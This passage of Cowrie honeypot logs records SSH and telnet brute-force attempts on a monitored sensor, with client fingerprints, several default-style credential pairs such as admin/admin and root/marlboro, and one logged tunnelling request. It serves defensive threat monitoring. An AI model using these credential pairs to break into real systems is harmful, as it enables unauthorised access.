fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:55.630329Z","src_ip":"43.135.168.126","session":"a2c88acfabd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123654789","message":"login attempt [root/123654789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:55.936990Z","src_ip":"43.135.168.126","session":"a2c88acfabd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:57.009907Z","src_ip":"43.135.168.126","session":"a2c88acfabd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebee6a0906d9","protocol":"telnet","message":"New connection: 152.42.224.71:45080 (10.17.0.5:23) [session: ebee6a0906d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:02.707202Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45090,"dst_ip":"10.17.0.5","dst_port":23,"session":"5404b310de87","protocol":"telnet","message":"New connection: 152.42.224.71:45090 (10.17.0.5:23) [session: 5404b310de87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:03.709401Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":60840,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d68720f46a9","protocol":"ssh","message":"New connection: 193.32.162.151:60840 (159.203.135.109:22) [session: 3d68720f46a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:24.840941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:24.845646Z","src_ip":"193.32.162.151","session":"3d68720f46a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:24.972532Z","src_ip":"193.32.162.151","session":"3d68720f46a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"sdadmin","message":"login attempt [sdadmin/sdadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:25.271484Z","src_ip":"193.32.162.151","session":"3d68720f46a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:26.377813Z","src_ip":"193.32.162.151","session":"3d68720f46a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.665284872055054,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:27.372325Z","src_ip":"152.42.224.71","session":"ebee6a0906d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":44650,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fcd279f93a3","protocol":"ssh","message":"New connection: 148.153.245.161:44650 (10.17.0.5:22) [session: 4fcd279f93a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.394328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.399357Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.442436Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:54:68:eb:73:35:3e:04:95:96:a0:cf:cf:71:47:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6PYxsTgnwYinb3gdjbaUNex6Uyjm4uCGkkpuqFft0TzEorTdNuAe/U/PF5k1fQBofzjRFVE08r+x6GePLdvsPxGvBhrMalBTiWml0m+3yjjGLgdRQDA6jH+buY75kvdp4CGzbC7/C2G0gaFdkzCaOLFBMH5V9HUUqVCX/XzC/TduwbOHFTAVfdKM+Gqp3hjQrCz1Vtu27QfqR1LnBhg2ZOWP9AijhjXNArFHlsadk0O+4+LVJrLXO/Q6EatRjqZdg41OkBy46aoFQNiON7G/b0aIdKpY82L3Kz+iG6uEaWHS7cahjzYSAKrS7ChPxkUOihxv071EwpewKU7os/BA9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:54:68:eb:73:35:3e:04:95:96:a0:cf:cf:71:47:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.638382Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:54:68:eb:73:35:3e:04:95:96:a0:cf:cf:71:47:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6PYxsTgnwYinb3gdjbaUNex6Uyjm4uCGkkpuqFft0TzEorTdNuAe/U/PF5k1fQBofzjRFVE08r+x6GePLdvsPxGvBhrMalBTiWml0m+3yjjGLgdRQDA6jH+buY75kvdp4CGzbC7/C2G0gaFdkzCaOLFBMH5V9HUUqVCX/XzC/TduwbOHFTAVfdKM+Gqp3hjQrCz1Vtu27QfqR1LnBhg2ZOWP9AijhjXNArFHlsadk0O+4+LVJrLXO/Q6EatRjqZdg41OkBy46aoFQNiON7G/b0aIdKpY82L3Kz+iG6uEaWHS7cahjzYSAKrS7ChPxkUOihxv071EwpewKU7os/BA9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.643577Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:c3:91:0d:4a:3a:bc:b8:e3:59:c8:e1:f6:8f:ac:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Um1nwp6bZpcs3C5d/GtuQS81IxagB+Yx3A+UyID9J9fwqFbTuWXbQ25X8X9KQtZd/jpSHiFII5wQH2BjwXYsVqHS7KSU29IHggjapRSEYIZ3EJX8gviC2cFTe7kFOhGJ6dwne1MYUVlJugvJk7yeialdMW2ycbBIIuwqYJ7TC4kzCphMoZi8pLnc6zire+B84LgdKxuPGhTGuPXjQ/7ekkRF88z8wE464PRg/rWjcrU6y6PMA3NG2a3J7Uukm0atTyYdCZN3xf17nRzjYniDPisfIvExlbr9bbRlXNTTDZltR+uodR84NlnMKJ58kMXF/FductYJS183bFMFopoz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:c3:91:0d:4a:3a:bc:b8:e3:59:c8:e1:f6:8f:ac:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.692135Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:c3:91:0d:4a:3a:bc:b8:e3:59:c8:e1:f6:8f:ac:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Um1nwp6bZpcs3C5d/GtuQS81IxagB+Yx3A+UyID9J9fwqFbTuWXbQ25X8X9KQtZd/jpSHiFII5wQH2BjwXYsVqHS7KSU29IHggjapRSEYIZ3EJX8gviC2cFTe7kFOhGJ6dwne1MYUVlJugvJk7yeialdMW2ycbBIIuwqYJ7TC4kzCphMoZi8pLnc6zire+B84LgdKxuPGhTGuPXjQ/7ekkRF88z8wE464PRg/rWjcrU6y6PMA3NG2a3J7Uukm0atTyYdCZN3xf17nRzjYniDPisfIvExlbr9bbRlXNTTDZltR+uodR84NlnMKJ58kMXF/FductYJS183bFMFopoz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.696734Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:cb:4b:f4:89:0a:9b:cc:61:72:4a:91:ba:95:f9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpztjs0S9b+TufJKXbhhjoTEGlaAsEFuLh1ou/EoUnrYARCbGD9vLxOT0LFxyuqb38umH0sPkM+Bk07a6rPO1XKO43K7pUaXhvm02nQUpVlm/zPkN5ZHRMenSfPpgALeUEAmOnlryqy+fWUeXsooI48kv/dfsHy824/J3HVmb53mRfhRVyzOuiM+kFotFKnLG5gwqeGYmqI88DgA7/Qy9NK51IuFeOseIzESbJgy/80ge7KXZNiQduLhE/oMuZWJHXWHeYT3FIOqTT69rblUn3w1nD4SeL+MtVONYJ1ZiQVpQ3ceb8NzbsS6H/6o/boVGHU4N2NFi+UvPvOaR3FkLZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:cb:4b:f4:89:0a:9b:cc:61:72:4a:91:ba:95:f9:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.743369Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:cb:4b:f4:89:0a:9b:cc:61:72:4a:91:ba:95:f9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpztjs0S9b+TufJKXbhhjoTEGlaAsEFuLh1ou/EoUnrYARCbGD9vLxOT0LFxyuqb38umH0sPkM+Bk07a6rPO1XKO43K7pUaXhvm02nQUpVlm/zPkN5ZHRMenSfPpgALeUEAmOnlryqy+fWUeXsooI48kv/dfsHy824/J3HVmb53mRfhRVyzOuiM+kFotFKnLG5gwqeGYmqI88DgA7/Qy9NK51IuFeOseIzESbJgy/80ge7KXZNiQduLhE/oMuZWJHXWHeYT3FIOqTT69rblUn3w1nD4SeL+MtVONYJ1ZiQVpQ3ceb8NzbsS6H/6o/boVGHU4N2NFi+UvPvOaR3FkLZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.746892Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:52:c3:6b:54:01:22:9c:58:00:b4:0b:a9:18:73:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM3McFKdLNq60YRRbvMHKfSDda4O7wQqqi78mTAKb3vFWeFyR6kENI36fvMk5grWOE7rc2qqBV3XsAxGStPFG6cCJp0EDAroCKJYsoWYVxz+YYWIERgtWry5aDyzSL3AXDFov9Km9vsWnGPKqhoE7av2Nc1qrvL+rEigSt8VqpncSKAA4p6YBLAQoXn4sPSFCdAbm25Mpe2DkOhspEhnAV6ZDFHHdlap8PLY1EKGH+enviJIO1lqMzAJQhiLYotUEmj30+2+0QkF8/xtVUfE9TmzKcWt4vGDmiVkZJZB+FKBkqz16V5ZEqwnOq3tclhEvsPKVqXxkipB8DdioCl+IB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:52:c3:6b:54:01:22:9c:58:00:b4:0b:a9:18:73:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.794009Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:52:c3:6b:54:01:22:9c:58:00:b4:0b:a9:18:73:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM3McFKdLNq60YRRbvMHKfSDda4O7wQqqi78mTAKb3vFWeFyR6kENI36fvMk5grWOE7rc2qqBV3XsAxGStPFG6cCJp0EDAroCKJYsoWYVxz+YYWIERgtWry5aDyzSL3AXDFov9Km9vsWnGPKqhoE7av2Nc1qrvL+rEigSt8VqpncSKAA4p6YBLAQoXn4sPSFCdAbm25Mpe2DkOhspEhnAV6ZDFHHdlap8PLY1EKGH+enviJIO1lqMzAJQhiLYotUEmj30+2+0QkF8/xtVUfE9TmzKcWt4vGDmiVkZJZB+FKBkqz16V5ZEqwnOq3tclhEvsPKVqXxkipB8DdioCl+IB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.799410Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:b8:6e:ba:c4:73:ea:b5:3e:ee:16:f9:76:90:75:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqgrIlXo9KpB1ueLeoqi5ElS2wrJT0w00kPz6YPuhIIfNJXK1IzNIahO1wtbjbhG9Ya3PwzkULLBLbCIBc70PM909BNoqYgO98VOg+Knd6bJ/Q/wtzkqHFjEmeGFqNBaNqCccOf5F8piVh8uGZDG1kM4WsMhfPVNiH1L87J6caXJJhSMMYHsne8/REWM6iXJHoK5nY7r1ai7UNd7Rpm62h1My5zBVHDuzSt2etk6n2XS96vnlNlDHJFcKKAseN8GtNtJI/SprTtO03ll5MNTO8SXSbAaMJotFBCecArOek2qQWeyHfSWknky4smljp3rfLk6xEFeoksFTEsYdw6ePj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:b8:6e:ba:c4:73:ea:b5:3e:ee:16:f9:76:90:75:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.845859Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:b8:6e:ba:c4:73:ea:b5:3e:ee:16:f9:76:90:75:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqgrIlXo9KpB1ueLeoqi5ElS2wrJT0w00kPz6YPuhIIfNJXK1IzNIahO1wtbjbhG9Ya3PwzkULLBLbCIBc70PM909BNoqYgO98VOg+Knd6bJ/Q/wtzkqHFjEmeGFqNBaNqCccOf5F8piVh8uGZDG1kM4WsMhfPVNiH1L87J6caXJJhSMMYHsne8/REWM6iXJHoK5nY7r1ai7UNd7Rpm62h1My5zBVHDuzSt2etk6n2XS96vnlNlDHJFcKKAseN8GtNtJI/SprTtO03ll5MNTO8SXSbAaMJotFBCecArOek2qQWeyHfSWknky4smljp3rfLk6xEFeoksFTEsYdw6ePj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.849268Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:51.892551Z","src_ip":"148.153.245.161","session":"4fcd279f93a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00582432746887,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:56.773665Z","src_ip":"152.42.224.71","session":"e2dd3f662535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":41532,"dst_ip":"159.203.135.109","dst_port":22,"session":"9afd594dbaae","protocol":"ssh","message":"New connection: 109.172.54.111:41532 (159.203.135.109:22) [session: 9afd594dbaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:59.411446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:59.416005Z","src_ip":"109.172.54.111","session":"9afd594dbaae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:59.511298Z","src_ip":"109.172.54.111","session":"9afd594dbaae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marlboro","message":"login attempt [root/marlboro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:44:59.795628Z","src_ip":"109.172.54.111","session":"9afd594dbaae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42472,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa3b40377e33","protocol":"ssh","message":"New connection: 87.251.64.176:42472 (10.17.0.5:22) [session: aa3b40377e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:00.167546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:00.173513Z","src_ip":"87.251.64.176","session":"aa3b40377e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:00.338692Z","src_ip":"87.251.64.176","session":"aa3b40377e33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:00.820843Z","src_ip":"87.251.64.176","session":"aa3b40377e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:00.892971Z","src_ip":"109.172.54.111","session":"9afd594dbaae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:00.990043Z","session":"aa3b40377e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:01.164734Z","src_ip":"87.251.64.176","session":"aa3b40377e33","protocol":"ssh"}
